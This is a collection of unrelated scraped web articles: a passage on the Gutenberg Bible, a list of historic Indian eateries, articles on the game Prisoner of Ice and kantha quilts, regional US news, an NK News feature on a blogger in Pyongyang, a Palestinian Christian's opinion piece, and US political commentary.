Gutenberg clearly perceived the anti-Turk hysteria as a boon to his sales effort – a kind of rally-round-the-Bible marketing opportunity that exploited Christian fears of Turks and their faith – Islam. From the letter of Aeneas Silvius, we also learned that Gutenberg had pre-sold every copy of his Bible before its completion.
Furthermore, there is undisputed evidence that Gutenberg had to increase the size of his print-run by about 33% to meet the high demand. This required him to re-set (with type) and re-print additional pages of some early sections of his Bible and purchase additional paper and parchment. The re-printed sections of his Bible contain subtle differences that can be seen today in the surviving copies.
Short-Term Benefits of Printing
The scale of the Gutenberg Bible project was astonishing for its time. Each printed Bible consists of two volumes totaling 1,286 pages and measuring 11-' by 16 inches. They are set in two columns of large, Gothic, black-letter type with 40 to 42 lines per page, and they can be read at a distance of three feet. Approximately 160 to 180 copies were printed – 75% on paper and the rest on parchment. Paper copies weigh 30 pounds each, and parchment copies weigh 50 pounds – each requiring the skins of about 160 animals (over 6,000 skins for all of the copies).
Although the Latin alphabet has only |
Jama Masjid just around the corner, Karim’s has an arsenal of recipes carried forward from the days of the Mughal empire. The flagship items on the menu are the mouthwatering Mutton Nihari and Chicken Jahangiri.
9. Favourite Cabin, Kolkata
Best known as the haunt of the freedom fighters such as S C Bose and poets such as Kazi Nazrul Islam, the Favourite Cabin at 69B Surya Sen Street was founded in 1918 by Nutan Chandra Barua and his elder brother Gaur Chandra Barua. This unassuming tea cabin is north Kolkata’s oldest tea stall and has been quenching Bengalis’ thirst for chai and adda for over 94 years. The staple here is still the same even after all these years – hot tea, complemented by biscuits, cakes and different toasts.
10. Joshi Budhakaka Mahim Halwawala, Mumbai
Joshi Budhakaka Mahim Halwawala is a little sweet shop, nestled in the bylanes of Mahim, that was started nearly 200 years back! The founder, Giridhar Mavji, used to sell a special halwa that gradually became extremely popular across Mumbai. Today, people from all over the country visit the shop to buy the famous Mahim Halwa. Unlike the traditional halwa, Mahim halwa is prepared by rolling out a cooked mixture of wheat, sugar and ghee in the form of sheets that is cooled and cut into delicate squares.
11. Rayars Mess, Chennai
Located in a cramped nook in Mylapore, Rayars Mess was established in the 1940s by Srivivasa Rao (called the Rayar by the locals) and has been spinning a delicious tale for over 70 years. The mess serves fluffy idlis, crisp vadas(with ghetti chutney), and scalding-hot degree coffee to its loyal customers as well as to many foodie visitors for just a few hours every day. Despite this, the unbeatable hygiene and exceptional taste of food at this tiny eatery is why people don’t mind travelling long distances to eat here.
12. Hari Ram and Sons, Allahabad
Tracing its origins to the year 1890, Hari Ram and Sons is one of the oldest street food shops in Allahabad. The more-than-a-century old shop has a fan following that includes many eminent personalities and is only growing bigger with every passing day. The shop is famed for its delicious snacks made in pure ghee and lip-smacking chaat, palak ki namkeen, masala samosas, and khasta kachauri.
13. Flury’s, Kolkata
Situated on Park Street in the heart of Kolkata, Flurys was founded in the year 1927 by Mr and Mrs J Flury. This pre-independence tea room of the British has a beautiful old world charm and is famous for its rum balls, meringues with cream and a delicious English breakfast. Satyajit Ray used to visit Flury’s every Sunday morning for breakfast and is rumoured to have maintained a credit account at the eatery.
14. Dorabjee and Sons, Pune
A charming, old restaurant in Pune, Dorabjee and Sons was started by Dorabjee Sorabjee back in 1878. Initially a humble little tea stall, the eatery soon started serving traditional lunches that quickly became popular. A little restaurant with a simple exterior, Dorabjee and Sons uses time-tested recipes handed down through generations to create signature Parsi specialties such as Dhansak, Patrani Machchi and Salli Boti.
You May Also Like: Parsi on My Plate: How Bawa Cuisine Is Adding Spice to the Indian Palate
15. United Coffee House, Delhi
Established in the year 1942, United Coffee House holds an important place in the hearts of food lovers in Delhi. Located in Connaught place, it was one of the first few restaurants that offered fine-dining in the capital city. The place has retained its pre-independence antiquity and is still frequented by diplomats, bureaucrats and tourists. The indulgent menu, though, has evolved over the years and today offers a plethora of options – from international and Indian classics to the recently added Oriental cuisine.
16. Shri Sagar (CTR), Bengaluru
Established in 1940s, Shri Sagar, better known as CTR, is one of the most famous restaurants in Bengaluru. Known for the filter coffee and its unparalleled masala dosas, Shri Sagar is Malleshwaram’s landmark thindi joint, the local lingo for small eating places that offer quick South Indian bites. Must-trys include the benne masala dosa and the feather light idlis.
You May Also Like: Food Secrets: Eat Your Way Through Thindi Beedi, Bengaluru’s Favourite Eat Street
17. Chafekar Dughdha Mandir, Nagpur
Set up by Vasudev Govind Chafekar and his friend Narayan Sakharam Palkar in 1931, Chafekar Dugdha Mandir was a meeting point for freedom fighters of Nagpur. A functional eatery with a simple decor, the restaurant has a steady and loyal stream of customers which keeps it bustling with activity all day. The eatery is famous for items like dahi misal, sabudana vada, shrikhand, khichdi, masala milk and the local favourite, piyush.
18. Shaikh Brothers Bakery, Guwahati
Established by Shaikh Ghulam Ibrahim way back in the late 1800s, Shaikh Brothers Bakery rapidly became one of the most preferred bakeries in Guwahati, not only for the locals but also for the British administrators. It was also a favourite of Jawahar Lal Nehru and Indira Gandhi. According to a report in The Telegraph, cheese sippers from this bakery were regularly served on Nehru’s breakfast table (he was extremely fond of it) when he visited Guwahati.
19. Mitra Samaj, Udupi
Believed to be almost 100years old, Mitra Samaj is an authentic Udupi restaurant famous for its delicious dosas, bullet idlis and Goli Baje, also known as Mangalore Bajji. The eatery follows the Udupi tradition of temple cooking under which the use of onion, garlic and radish is prohibited. For those visiting this simple eatery for the very first time, the must-try items should also include Mangalorean Bun, Masala Dosa, Dakshin Kannada-style Khasta Kachori and badam milk.
20. Nizam’s Restaurant, Kolkata
The pioneers of making the first Kolkata Kati Rolls, Nizam’s was set up in 1932 by Raza Hassan Saheb who named the place after his only son. The story goes that one day a customer, a foreigner, was in a big hurry and he asked for something light, dry and minimally messy that he could take away quickly. Thus was born the Nizam’s kebab roll. The tender flavours of meat entwine in a freshly fried parantha to create these rolls that truly deserve their iconic status!
21. Bademiyan, Mumbai
Opened in 1942, the Bademiyan Stall moved several locations during the tense pre-Independence years before finally settling down at Colaba in Mumbai. It was started by Mohammed Yasin who came to be known as Bademiya for his long flowing beard. The shop is famous for its spicy succulent kebabs and biryani, and is always jam-packed till late in the evening.
22. Kesar Da Dhaba, Amritsar
An iconic dhaba of Amritsar, Kesar Da Dhaba was established by Lala Kesar Mal and his wife in 1916 in Sheikhupura, Pakistan. It moved to Amritsar after the partition of India in 1947 where it was frequently visited by Lala Lajpat Rai and Jawaharlal Nehru. The dhaba’s velvety dal makhani, slow-cooked overnight and garnished with fresh creambefore being served, is legendary. The creamy palak paneer, stuffed parathas and the sinfully rich phirni are also a must-try.
23. Confeitaria 31 De Janeiro, Panaji
Located in the gorgeous old Latin Quarter of Panaji, Fontainhas, the 80-year-old Confeitaria 31 De Janeiro is one of the oldest bakeries in Goa. The cozy little shop serves traditional Goan sweets and savouries like the moist date and walnut cake, the scrumptious bebinca, the creamy sweet rolls, the crumbly prawn risois and other teatime treats.
24. Pancham Puriwala, Mumbai
Pancham Puriwala was set up over 150 years ago when its founder, Pancham came from Agra to Bombay to try his luck selling savouries. His crispy golden puris were so popular with the locals that his shop survived and expanded over seven generations. This tiny, two storeyed eatery is always crowded with eager clientele clamoring for mouth watering delicacies that include khichdi, kadhito (crispy bhindi curry), potato curry and truckloads of different types of puris.
Also Read: From Colleges to Diplomatic Enclaves, These 14 Iconic Canteens Are Among the Best in India
Like this story? Have something to share? Email: contact@thebetterindia.com, or join us on Facebook and Twitter (@thebetterindia). To get positive news on WhatsApp, just send ‘Start’ to 090 2900 3600 via WhatsApp.Prisoner of Ice (also Call of Cthulhu: Prisoner of Ice) is an adventure game developed and released by Infogrames for the PC and Macintosh computers in 1995 in America and Europe. It is based on H. P. Lovecraft's Cthulhu Mythos, particularly At the Mountains of Madness, and is a follow-up to Infogrames' earlier Shadow of the Comet. In 1997, the game was ported to the Sega Saturn and PlayStation exclusively in Japan.
Plot [ edit ]
Prisoner of Ice begins during the run-up to World War II, primarily around Antarctica. The main character is a young U.S. intelligence officer, Lt. Ryan, who has been assigned to a British submarine, HMS Victoria, for a special mission. As the game begins, the submarine is fleeing the Antarctic after rescuing a Norwegian who has recently escaped from a secret German base in the Antarctic (it is later revealed that the base is built atop the Ancient Ruins mentioned in At the Mountains of Madness). Along with the Norwegian, the sub has picked up two mysterious cargo crates stolen from the Nazis.
Late in the game, in Argentina, Ryan meets John Parker, the central character from Shadow of the Comet, and reveals the links between the two games. Narackamous, the main antagonist of Shadow of the Comet, also returns. The game has a choice of endings, though there is little difference between them.
Gameplay [ edit ]
The game involves solving puzzles through a point and click user interface. The player can examine any item and, depending on the item, either pick it up, use another item on it, or operate it in some way.
Some puzzles, if not completed within a short span of time (always less than a minute), will result in a game over. To ensure that the player does not get stuck by saving their game at a point from which they cannot possibly complete a puzzle in time, the game autosaves onto a separate save file at the beginning of each timed puzzle.
Release [ edit ]
The game was released for PC DOS, PC Windows and Macintosh computer platforms in America (where it was published by I Motion) and Europe in 1995. It was released as Call of Cthulhu: Prisoner of Ice in PAL territories.
Three French-language comic books were published as tie-ins to the game: La Geôle de Pandore (Pandora's Jail), Le Glaive du Crépuscule (The Dagger in the Dusk) and La Cité des Abîmes (The City of the Depths).[1]
In Japan, the game was released in 1997 as Prisoner of Ice: Jashin Kourin, and ported to the Sega Saturn and Sony PlayStation game consoles. These ports contain no enhancements from the PC versions. The English voice acting of the PC version is retained, but the text which appears when examining or picking up objects is translated to Japanese. The Saturn version is compatible with the Netlink Mouse.
In 2015, Prisoner of Ice and Shadow of the Comet were re-released as DRM-free on GOG.com for modern computers.[2]
Reception [ edit ]
According to the French newspaper Les Échos, Prisoner of Ice was commercially successful. Its sales surpassed 30,000 units in the United States alone during its first day of release.[5]
A reviewer for Next Generation gave the PC version three out of five stars, praising the gripping storyline, beautiful animation, and eerie atmosphere, but criticized the "emotionless" voice acting. He concluded, "It's worth checking out for the great storyline and art, but not good for much else."[3]
See also [ edit ]Photo: Kazi Tahsin Agaz Apurbo
A kantha is a great example of how you can upcycle your old clothes into something beautiful and functional. A handmade quilt, kantha is a long piece of cloth made of old rags - mostly old sarees - stitched together, carrying with it the essence of nostalgia and an old world charm.
In Sanskrit, the word kantha simply means 'rag', but the word has no confirmed etymological root. For centuries, rural women of Bengal stitched together discarded pieces of cloth, gossiping about all, and sundry as their hands were deftly and rhythmically engaged in the sewing process. Interestingly, the legendary kantha dorokha (two-sided quilt), which is considered as a priceless art form today, was what kept the poorest families warm during the cold months of winter.
For those living abroad, homemade kathas are a symbol of love, reminiscent of the beloved land and people left behind, carrying the scent of one's mother, the refuge that is hard to find anywhere else. Thus, it is interesting to note that the earliest known mention of a kantha can be found in Krishnadas Kaviraj's Sri Sri Chaitanya Charitamrita, a 500-year old manuscript, where he refers to the handmade quilt lovingly stitched and sent to him by his mother. A woman's artistic expressions, mostly hidden and suppressed by society, found their way in these handwoven quilts.
Eventually, a more elaborate tradition of creating nakshi kantha developed. Nakshi kanthas were originally made by women, who were not literate but wove stories into their quilts that would often take years to complete. A single kantha would be stitched by a generation of mothers, daughters and granddaughters; the motifs reflected the culture and traditions of yore, their legends and myths, upholding the essence of their womanhood while also asserting their untold desires of happiness, love, marriage, and fertility. The quilts would then be autographed by the needlewomen, as they either signed their names or indicated their relationship with the person for whom the quilt was created.
There is no particular grammar or symmetry to a nakshi kantha, but a finely embroidered nakshi kantha will always have a focal point. The central motif could be a lotus, or a reclining female figure, or animals, and surrounding them would be images of flowers and vines or saree border motifs. Because each of them presents a distinctive story of the kantha makers, no two nakshi kanthas are ever the same.
A variety of needle work, including pattern darning (chatai) and bending stitch (katiya) is used while making kanthas but the most pre-dominant of them is the running or kantha stitch. The stitches used in modern-day kantha are the Kashmiri stitch and the arrowhead stitch. Stitches like the herringbone stitch, satin stitch, backstitch and cross-stitch are occasionally used.
Each of these stitches creates a distinctive style and statement. Whether we use them as bed pallets or as light wraps, kanthas are a must-have for a Bangladeshi or a Bengali household.Giordano's Famous Stuffed Pizza is ready for its first major expansion effort since emerging from bankruptcy protection in 2011.
The Chicago-based chain, owned by private-equity firm Victory Park Capital Advisors LLC since late 2011, plans to open five restaurants. The first will open in Andersonville in the former Ann Sather spot during the third quarter. Other locations, which the company declines to disclose, will open this year in the northern suburbs.
(Related: Giordano's riding the Derrick Rose comeback wave)
Victory Park's first Giordano's expansion was a South Loop restaurant that opened in November.
At one time, Victory Park had said it planned to double the number of Giordano's nationwide by 2015.
The new management revamped the menu in late 2012 with salads featuring such gourmet touches as dried cranberries and goat cheese and entrees that are lighter, with updated recipes. Stuffed pizza, the restaurant's signature item, still remains, but no longer dominates the menu.
Victory Park purchased 39-year-old Giordano's in November 2011 for $52 million; in an October interview, CEO Yorgo Koutsogiorgas said the chain was profitable and on track to generate nearly $100 million in 2013 sales. He added that Giordano's, which has 43 locations (40 in Illinois and three in the Orlando, Fla., area), has experienced double-digit percentage revenue growth each of the past two years.
The company is on the verge of signing a lease for a location in Indianapolis and has its eye on Madison, Wis.; Columbus, Ohio; and other Midwest cities, with an end goal of 80 total locations by early 2016.
— Lorene YueThe Indianapolis Historic Preservation Commission reviewed designs on Wednesday evening for four more buildings in the massive Bottleworks project proposed for the site of the former Coca-Cola bottling plant downtown.
Greg Uhen of Milwaukee-based Eppstein Uhen Architects highlighted an eight-story office building slated for the southwest corner of 10th and Bellefontaine streets and three mixed-use buildings set for the triangular section at the southwest end of the development at North College and Massachusetts avenues. (Buildings are in yellow at right; click for larger view.)
The $260 million development, proposed by Hendricks Commercial Properties, would feature a 136-room West Elm hotel, an eight-screen cinema, office and retail space, and apartments and condominiums. Hendricks is presenting its plans for review in four stages to the Commission, with the goal of getting IHPC approval July 19—about the same time the developer would take ownership of the property from Indianapolis Public Schools.
The eight-story office building at 10th and Bellefontaine streets would feature 230 public and tenant parking spaces on floors two through four, presenters said Wednesday (click image at right for larger view). The first floor would be dedicated to street-level retail, and the fifth through eighth floors would offer about 22,000 square feet of office space on each level.
The new buildings proposed at the southwest end of the development would consist of office, apartment and retail space. They'd range in height from three to five stories.
The building nearest College and Massachusetts avenues—or the pie-slice-shaped “point building,” as developers have referred to it—would serve as a focal point for the development and include a split-building design with a storefront-lined alley at its midpoint connecting College and Massachusetts. (Click image at right for larger view.)
“I do think we have some of those modern elements we’re trying to bring into play with the breezeway,” Hendricks CEO Rob Gerbitz said of the developer's inspiration for the project. “But we like old, and we like to build really solid, good buildings."
In sum, Hendricks’ proposal for the Bottleworks development calls for 157 apartment units, 40 for-sale condominiums, 170,000 square feet of office space and 114,000 square feet of retail space for a total 1.2 million square feet of development.
Because of the size and complexity of the project, the IHPC voted in March to review Hendricks’ proposal in a series of public hearings separate from IHPC’s regular monthly commission meetings.
The former Coca-Cola bottling plant, constructed in 1931, served as the Indianapolis Public School Service Center since 1971. IPS approved a recommendation to sell the 11-acre former coke bottling plant and IPS bus yard to Hendricks Commercial Properties in May 2016.
Already known in Indianapolis for its $30 million Ironworks development at East 86th Street and Keystone Avenue, Hendricks is working with Eppstein Uhen Architects, as well as locally-based Ratio Architects, on the Bottleworks project. The total project, if approved, would be constructed in five phases and could take between five and 10 years to complete.
Wednesday's meeting was the third of four public hearings on Bottleworks design. At next month’s hearing, the Bottleworks project will be heard in its entirety. Hendricks is expected to present final revisions to the project as requested by the IHPC before the commission makes its final vote.
“I’m going to put on a slow-cooker recipe so that dinner will be ready no matter how late I get home,” IHPC member Bruce Stauffer said of the July meeting. “We’ll go as late as we need to to try and resolve things.”
Wednesday evening’s presentation was well-received by neighbors in the Chatham Arch historic district. Many praised the proposed architectural style and the responsiveness of developers to hear community concerns.
However, traffic and building-height became the main focuses of the evening’s hearing. Some worried the eight-story office building could overpower homes in the historic area and its entrance onto Bellefontaine could cause backups at the intersection of 10th Street and Bellefontaine Avenue.
“The intersection is crazy,” said Tom Shaefer, of the Chatham Arch Neighborhood Association. “We feel that we must have a good flow of traffic to keep it moving."
Developers said they were open to suggestions to move the parking garage entrance and exit to the 10th Street side to allow traffic to spill out onto a larger artery.
The Department of Public Works has scheduled an internal meeting Friday to discuss this and other infrastructure considerations for the development.In the second of a special Christmas review of previous NK News features, we take a look back at the Blogger in Pyongyang. Ashun, from Russia, wrote a series of Russian language blogs from Pyongyang in 2010 that detailed life as a foreign resident in North Korea’s capital.
In recent months NK News has featured a number of fascinating glimpses into daily life in North Korea, translated from the Russian language blog Show and Tell Pyongyang. In January the blog detailed how citizens in the capital had been preparing for Christmas and New Year in a post that included a number of must-see photos of daily life in frozen Pyongyang. The site has also touched on some of the capitals’ better known leisure facilities, with posts on its ice-skating rink, bowling alley, and shooting-gallery. Most recently, the blog has seen two interesting posts on the North Korean toy market, featuring pictures of “Juche” lego sets and a number of model cars, trucks and planes (all military, of course). In all of its content, the blog does a fine job in showing to its readers a side of North Korea that few will ever have the opportunity to see – but how?
Although tourists can visit many of the places that Show and Tell has covered in its posts, it would take several costly visits to the DPRK to get the same kind of material. But even then, it is unlikely that a tourist could ever have had the same degree of access and photo opportunities as seen in Show and Tell. What separates this blog from the rest is that it is actually written in and posted from Pyongyang – a city where internet access is extremely hard to come by. So who is writing it?
Perhaps as a result of nostalgia for past times, Show and Tell has developed a huge following in Russia – with some posts featuring over one hundred blog comments and crucially, telling dialogue between its author and readers. Through a study of these comments and the totality of content posted to-date, NK News intern Chistopher Stenning was able to join the dots and paint a fairly comprehensive background of the blog’s author, which we now present, in the form of a selected range of translated posts. NK News did try and get in touch with the blog’s author for an interview, but was unsuccessful in making contact.
Ashen – a foreign language student in Pyongyang
In short, Ashen (perhaps a pseudonym) is a Russian national, studying at the prestigious Kim Il Sung (KIS) University, in Pyongyang. He is part of a small cohort of foreigners at the school who live in seclusion from the North Koreans, but with enough freedom to explore the capital unhindered. With no internet access in either his dormitory or university (Intranet only), this freedom of movement allows him to maintain Show and Tell from the Russian Embassy, where it is suggested by one reader, his parents have been working for some time.
On College Life
When Ashen started blogging in early 2010, student life at KIS University was a major topic of his writing. In one of his first post, he explains to his readers that he is studying in Pyongyang:
“During Soviet times, most foreign students at KIS were Russian, but now they are mainly Chinese. At the moment there are about 50 Chinese, 2 Russians (including me), and several Mongolian and Vietnamese. Education for foreigners, with rare exceptions, costs about $5000 a year. This figure includes tuition, accommodation and meals. In addition to studies, trips are organized around the city to explore the local attractions, and with over five years spent in-country, you see a lot more than the average tourist.”
As can be seen in the picture he uploaded, of his dorms, even the walls of foreign students are adorned with portraits of Kim Il-Sung and Kim Jong-il at KIS University. As we know, these portraits are everywhere in the DPRK, with citizens given special equipment by the state to help keep the frame and glass clean. However, portraits are absent in international hotels such as the Koryo and Yanggakdo, where foreigners are normally exempted from the otherwise compulsory Kim-worship. It is interesting then that Ashen has these portraits featuring so prominently in his room. In the book “Comrades and Strangers”, author Michael Harrold – who spent six years in the DPRK revising speeches – said that after an incident in which one foreign worker defaced a Kim il-Sung portrait, all portraits were removed from the bedrooms of foreign staff. Perhaps things have changed since then: it i quite possible their presence could be the result of Ashen’s own choice (he later reveals that he has lived in the DPRK for many years prior to his studies), or, it could be an obligation for students at KIS university – foreigners included.
Later in the same post, explains that the dormitory building he lives in is split in two, with two floors for foreign students and another two for locals. Although there are a number of Koreans with whom he has no contact (them having a separate entrance to the building), he says that there are nevertheless a group of “successful and politically reliable” Koreans that the foreigner community can mix with – primarily to help develop Korean language skills. He adds, “they are normal people with whom you can talk, joke and even drink a bottle or two of beer – but all this only in the dorm, beyond, everything becomes harder”.
With regards to his quality of life at the KIS university dorms, Ashen seems to have mixed feelings. On the positive side, there are three “edible and tasty” meals a day. Breakfast includes a glass of hot milk, rice porridge, boiled eggs and bread. Lunch and dinner can include soup, rice, kimchi, meat, and seafood. As one might expect, on public holidays there are dinner parties with higher quality food and larger portions. Another advantage is that having “over five years of study in the country means you see a lot more than the average tourist…You will see the life of Koreans almost exactly as it is. After all, unlike tourists, students have the right to move freely around the city. You can look around the streets without a guide and see what is hidden from prying eyes. You can even walk on the nearly deserted streets at night with a flashlight.”
On the negative side, hot water supplies are limited to just half an hour a day during the winter (non-existent for the rest of the year), and there are no showers – students have to wash with basins. In addition, electricity supplies are erratic. While 200-250v electricity is supplied throughout most of the spring and summer, this drops to below 100 volts during the cold winter, necessitating the purchase of a voltage regulator (which often isn’t enough). Electricity outages are common during the winter too, with lighting sometimes out all night.
Despite the negatives, Ashen explains that “everything else is not so bad”. His student housing is located close to the university, several restaurants, shops, a subway station and a market. Unlike Tongil market, his local market is not meant for foreigners, but he says some foreigners can sneak in if they “take precautions” – especially Chinese students willing to wear gray clothing that day! Unfortunately, his European appearance and relatively tall frame make it difficult for him to get in unnoticed.
If this post might have got you interested for whatever reason in studying at KIS university like Ashen, be aware that the North Korean Ministry of Education has foreign study abroad programs only with a select group of countries : China, Russia, Vietnam, Laos, Mongolia, Malaysia, Singapore, Thailand and Myanmar. If you aren’t from one of those countries, your chances of studying in Pyongyang are likely extremely remote!
Tomorrow we present more about Ashen’s university life.
Related LinksAmb. Michael Oren’s article, ‘Israel and the Plight of Mideast Christians,’ presents Israel as a tolerant, dove-like, and peaceful democracy. This is belied by the facts.
I am one of those Palestinian Christians living inside Israel to whom Oren refers. At no time in my life have I ever felt the ‘respect and appreciation’ by the Jewish state, which Oren so glowingly references. Israel’s Christian minority is marginalized in much the same manner as its Muslim one or, at best, quietly tolerated. We suffer the same discrimination when we try to find a job, when we go to hospitals, when we apply for bank loans, and when we get on the bus — in the same way as Palestinian Muslims.
Israel’s fundamental basis is as a racist state built for Jews only, and the majority of the Jewish population doesn’t really care what religion we are if we’re not Jewish. In my daily dealings with the State, all I have felt is rudeness and overt contempt.
Oren’s statement that ‘The extinction of the Middle East’s Christian communities is an injustice of historic magnitude’ is outright shocking to anyone familiar with even the basic history of how Israel was founded. I would like to remind him and others that this founding expelled thousands of Palestinian Christians from their homes in 1948 and displaced them, either forcing them to flee across the border or making them internal refugees. The ethnic cleansing of Palestinians that comprised the founding of Israel is, too, an injustice of historic magnitude. A man living in a glass home — or a home stolen from Palestinians — should think very carefully before tossing stones.
My cousin’s husband, Maher, is from Iqrith, a village a few miles from mine in the Galilee. His family, and all of Iqrith’s inhabitants, were expelled from their village in 1948 and Iqrith was razed to the ground by Israeli forces on Christmas eve, 1950, in a special ‘Christmas gift’ to its people. The timing of this destruction leaves one to wonder at the intended message. Maher was born years after his family took shelter in Rama, a village nearby in the Galilee. Today, he struggles with finding a place to build a house to live in with his wife and children. Israeli policies that severely restrict the building zones in Arab towns and villages result in land shortages impeding the population’s natural expansion. Limiting land to residents of the same town or village means that internal Palestinian refugees face severe housing discrimination.
The return of people like Maher has been made impossible by Israel, which refuses to negotiate on the right of refugees to return to their homeland. If Oren is so concerned for Palestinian Christians, would he kindly give the green light for the return of Christian refugees from Iqrith, Bir’im, Tarshiha, Suhmata, Haifa, Jaffa, and tens of other Palestinian towns and villages that they were expelled from in 1948? The answer, I assure you, is no. Many of these refugees are living in refugee camps in nearby countries, where Israel and Oren are happy to leave them.
The terrorists referred to in Oren’s statement that ‘Israel, in spite of its need to safeguard its borders from terrorists, allows holiday access to Jerusalem’s churches to Christians from both the West Bank and Gaza,’ are in fact Palestinian Christians living on the land that Israel has occupied — in flagrant opposition to all human rights charters — and from which it is refusing to withdraw its soldiers and illegal settlers. To applaud Israel for giving people permits to travel across what by law is their own country is the height of hubris.
His claim that ‘In Jerusalem, the number of Arabs–among them Christians–has tripled since the city’s reunification by Israel in 1967’ fails to mention Israel’s relentless policies of cracking down on Jerusalem: building unending settlements; building a Separation Wall that slices right through the city, severing its families, neighborhoods and businesses and hitting hard at its Arab economy; seizing Arab lands and expelling families that have lived on them for generations; and revoking the citizenship of any Palestinian resident who travels abroad for too long. Imagine the outcry if an American citizen traveled abroad for two years and upon return discovered that his citizenship was revoked and that he had lost his American ID and passport.
Israeli officials don’t care whether the Palestinians they discriminate against are Christian or Muslim. It is true that inter-religious strife is on the rise in a region long tormented by poor living conditions, for which the West bears significant responsibility having aided the region’s many dictators.
Oren’s faux tolerance and crocodile tears over the plight of Christians fool no one. Were he serious, I would urge him to have a close look at Israel’s policies of occupation and racial discrimination.
As Jesus said, ‘Why do you look at the speck that is in your brother’s eye, but do not notice the log that is in your own eye?‘ (Matthew 7:3)State Rep. Stephanie T. Bolden (Photo: PROVIDED)
A bi-partisan group of legislators wants Delaware to have all primary elections on the same day.
Currently, voters pick Republican and Democratic presidential nominees on the fourth Tuesday in April, but have to wait until the second Tuesday after the first Monday in September to select party nominees in state and local races.
This year, that means April 26 and Sept. 13.
STORY: Trump's win helps set a GOP turnout record
STORY: Hillary Clinton and Donald Trump win primary
Supporters say consolidation would save the state money by having fewer elections, prevent confusion among voters and hopefully increase turnout.House Bill 375 would hold all primaries on the April date. The change would start with the 2020 presidential election year, but would apply to all "off-year" elections after that.
"Democracy works best when everyone gets involved and participates," said Rep. Stephanie T. Bolden, D-Wilmington East, the bill's prime sponsor, in a news release. "We've seen from year to year that far more people vote in the presidential primaries than in the state primaries of the same year. In most cases, voters turning out to vote for president are confused when they can't vote in a primary for governor, Congress, or local legislative races."
The release cites Department of Elections figures that say the state spent about $1 million on the 2016 presidential primaries. It also cites National Conference of State Legislators, which says 17 other states hold primaries on the same day, including Maryland, New Jersey and Pennsylvania.
Republicans and Democrats in both chambers of the General Assembly have signed onto the bill.
Donald Trump and Hillary Clinton, the presumptive presidential nominees for the Republican and Democratic parties, both locked down about 60 percent of the vote in Delaware last month.
In September, there are primaries for Delaware's lone seat in the U.S. House of Representatives, lieutenant governor, Wilmington mayor and many seats in the General Assembly.
Contact Matthew Albright at malbright@delawareonline.com, (302) 324-2428 or on Twitter @TNJ_malbright.
Read or Share this story: http://delonline.us/26XxXUsScott Halleran/Getty Images
If we expect players like Lee Westwood and Rory McIlory to attend events such as The Players Championship, it’s about time that the river starts running in both directions.
“I feel like since I've been out on TOUR that this is one of the tournaments that I would like to win the most right along with the majors,” Phil Mickelson said at last week’s TPC Sawgrass when asked whether or not the event had lost any prestige with the absence of Westwood and McIlory.
"Everybody has got their own personal deal, but I just—I disagree with their thought process," he said," Mickelson went on to say.
While most would agree with Mickelson’s stance on the matter, we also have to understand that the world of golf is a much different place today than it was even five years ago.
The top players in the world (six of the top 10 players in the WGRs) are competing against each other at this week’s Volvo World Match Play Championship in Spain.
It’s a very strong event played on a fantastic golf course in a beautiful part of the world.
So where is Mickelson?
Where is Matt Kuchar?
Where is Dustin Johnson?
Where is Bubba Watson?
Ryan Moore, Jhonattan Vegas, Aaron Baddeley and Y.E. Yang were the only regular PGA Tour members that made the trip over to Spain, with Moore being the only American born player in the field.
The BMW PGA Championship will be held next week at the Wentworth Club in Surrey, England. Westwood will be there, McIlroy will be there, Martin Kaymer will be there, Graeme McDowell will |
., an obvious candidate for the top GOP job if Ryan leaves, dismissed the rumors as well.
“The speaker is not retiring,” McCarthy told reporters. “He enjoys his job. He loves it.”
Ryan, his party’s 2012 vice presidential candidate, was initially reluctant to take the speaker’s post. It calls for long hours meeting with colleagues to line up votes or address other problems and frequent fundraising trips for the party. Ryan has three young children and initially said he was uninterested in being speaker, calling it a job for empty-nesters.What happened to the health-care frenzy that turned town-hall meetings into fiery, occasionally physical confrontations and helped propel Republicans to a House majority last year?
While we obsessed over jobs and the national debt, it faded into the campaign woodwork.
Republican presidential candidates are still vowing to repeal the Affordable Care Act, of course, but they are mainly going after President Obama’s economic record. That makes sense because the lagging economy is by far the top concern of voters. It also makes sense because with each passing month, the health-care law is woven more tightly into the fabric of American life and becomes more difficult to unravel.
David Axelrod, Obama’s top political adviser, says Republicans will make a mistake if they dwell next year on repealing the law. “The American people want to move forward. If there are problems with reform, fix it. They don’t want to start all over again,” he told me.
Republican strategists acknowledge their party faces political challenges on health care. One is the reform bill was fully debated in 2010 and it’s rare that an issue is central to two elections in a row. Another is the energy level needed to fuel an effort to kill a major law. “It’s going to be awfully hard to repeal it,” says John Feehery, president of QGA Communications and a former top aide to House Speaker Dennis Hastert. “It’s hard to maintain the kind of anger that comes with repeal.”
A third problem, according to a GOP strategist familiar with health-care issues, is that supporting repeal means the eventual nominee will need an alternative to the Obama law. “That becomes messy,” this strategist told me, because the nominee presumably will want to continue certain popular benefits and “there’s not an easy fix to how to replace the rest of Obamacare that keeps those features.”
suggest that public antipathy to the law may have been misunderstood and overstated, with people lumped together as opponents regardless of whether they wanted to repeal the law or expand it. CNN surveys for more than a year have found that about four in 10 oppose the law as too liberal, while majorities support it or want it to be more liberal. A Bloomberg poll last month found 51 percent who wanted to see how the law works and 11 percent who said leave it alone; only 35 percent supported repeal. The latest Kaiser Family Foundation poll on the law found 63 percent opposed to cutting off funding for it, as some Republicans have suggested. More than half – 51 percent – said the law should be expanded or kept intact.
Geoffrey Garin, a Democratic pollster, sees a difference in his 2009 and 2011 results. Two years ago, asked what issues were important for their vote, Republicans mentioned the health-care law. Now they talk about debt, deficits, and spending. “It’s less of a reference point for people. So in that sense the intensity has been lowered,” he says of health care.
Michele Bachmann is a good example. The Minnesota congresswoman often calls the and says she “will not rest” until it is repealed. She told conservative activists on a conference call last spring that if she ran for president, that would be her signature issue. When she got into the race two weeks ago, the only mention of health care in her announcement speech was a relatively tame single sentence halfway through: “We can't afford an unconstitutional health plan that costs too much and is worth so little.”
Democrats did not exactly mount a vigorous defense of the law in 2010. But Obama will be its chief defender this time, and he’ll have advantages that were not available to the hapless Dems running for the House and Senate. One is the klieg lights of a presidential campaign; whether it’s in ads, debates or speeches, people will be paying close attention to what the president says. “The best person to articulate the case for the law is Obama himself,” says Stephen Zuckerman, a health economist at the Urban Institute. “He will be the one explaining it and trying to put people’s minds at ease.”
The health-care law timeline will help. The least popular element of the law, the requirement that most people buy insurance or pay a fine, won’t take effect until 2014. But by November 2012, many popular provisions will have touched people’s lives.Maxime Bernier eats a disciplined breakfast. Oatmeal, with a little maple syrup and a glass of water. Which is understandable.
